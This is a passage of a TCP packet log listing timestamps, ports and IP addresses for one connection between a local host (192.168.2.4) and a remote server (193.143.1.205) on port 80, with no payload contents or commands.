Jan 10, 2025 20:46:04.567631960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.567666054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.567686081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.567704916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.567759037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.586699963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.586760044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.586795092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.586828947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.586829901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.586865902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.586889029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.586905003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.586951017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.601533890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.601604939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.601643085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.601665974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.601676941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.601712942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.601731062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.601747036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.601783037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.601798058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.601816893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.601851940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.601882935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.601888895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.601939917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.619246960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.619278908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.619338036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.619417906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.619452000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.619492054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.619509935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.619528055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.619575024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.619968891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.620002985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.620043993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.620055914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.620094061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.620127916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.620141983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.620183945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.620234013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.620239973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.620269060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.620302916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.620318890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.620357037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.620390892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.620404959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.620424986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.620460987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.620470047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.620512962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.620548010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.620552063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.620582104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.620615005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.620628119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.620655060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.620688915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.620701075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.620723963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.620758057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.620774031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.620790958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.620826006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.620841026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.620860100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.620893002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.620906115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.620925903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.620960951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.620989084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.620992899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.621031046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.621047020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.621062994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.621098042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.621107101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.621131897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.621167898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.621181965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.621217966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.621252060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.621268988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.621285915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.621318102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.621330976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.621360064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.621395111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.621422052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.621431112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.621467113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.621483088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.621499062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.621536970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.621546030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.621571064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.621606112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.621620893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.621639013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.621673107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.621690035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.621706963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.621740103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.621761084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.624453068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.624502897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.624509096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.624538898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.624589920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.624589920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.624635935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.624670982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.624684095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.624733925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.624784946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.624784946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.624821901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.624855042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.624871016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.624888897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.624938965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.624939919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.624974012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.625009060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.625021935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.625045061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.625092030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.625094891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.625133038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.625165939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.625174999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.625200987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.625232935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.625242949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.625267982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.625299931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.625313997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.625334024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.625364065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.625381947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.625397921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.625433922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.625448942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.625468016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.625502110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.625514984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.625535965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.625569105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.625598907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.625603914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.625638008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.625652075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.625670910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.625705957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.625720024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.625740051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.625780106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.625783920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.625814915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.625861883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.629059076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.656970024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.657022953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.657056093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.657087088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.657095909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.657121897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.657140017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.657155037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.657188892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.657201052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.657224894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.657272100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.674217939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.677639008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.677702904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.677726984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.677743912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.677757978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.677772999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.677788973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.677803993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.677818060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.677822113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.677867889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.677879095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.681006908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.689908981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.692172050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.692240000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.692274094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.692287922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.692307949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.692342043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.692354918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.692375898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.692410946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.692416906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.692446947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.692483902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.692497969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.692518950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.692553043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.692568064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.692585945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.692620993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.692636013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.692655087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.692699909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.700664997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.707047939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.710675955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.710760117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.710793972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.710846901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.710849047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.710886002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.710900068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.710922956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.710958004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.710964918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.710995913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.711039066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.711047888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.711107969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.711155891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.711160898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.711190939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.711225033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.711245060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.711261034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.711317062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.711339951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.711399078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.711433887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.711447954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.711472988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.711513996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.711529016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.711580038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.711613894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.711620092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.711648941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.711683989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.711697102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.711724043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.711767912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.711776972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.711836100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.711870909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.711878061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.711908102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.711941004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.711975098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.711975098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.712008953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.712023973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.712043047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.712078094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.712085962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.712131023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.712163925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.712172985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.712202072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.712236881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.712249041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.712271929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.712315083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.712316990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.712348938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.712384939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.712400913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.712419987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.712455988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.712470055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.712491035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.712527990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.712538958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.712562084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.712595940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.712600946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.712630987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.712665081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.712672949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.712702036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.712734938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.712749958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.712769032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.712801933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.712816954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.712836981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.712872982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.712898016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.712908030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.712939024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.712954044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.712980986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.713016987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.713021994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.713052034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.713087082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.713099003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.713123083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.713171005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.725905895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.727498055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.727549076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.727602005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.727606058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.727649927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.727685928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.727698088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.727722883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.727771044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.727777004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.727852106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.727885962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.727893114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.727952957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.727989912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.727994919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.728027105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.728064060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.728065968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.728099108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.728135109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.728142023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.728169918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.728204966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.728208065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.728245020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.728281021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.728291988 CET	49730	80	192.168.2.4	193.143.1.205
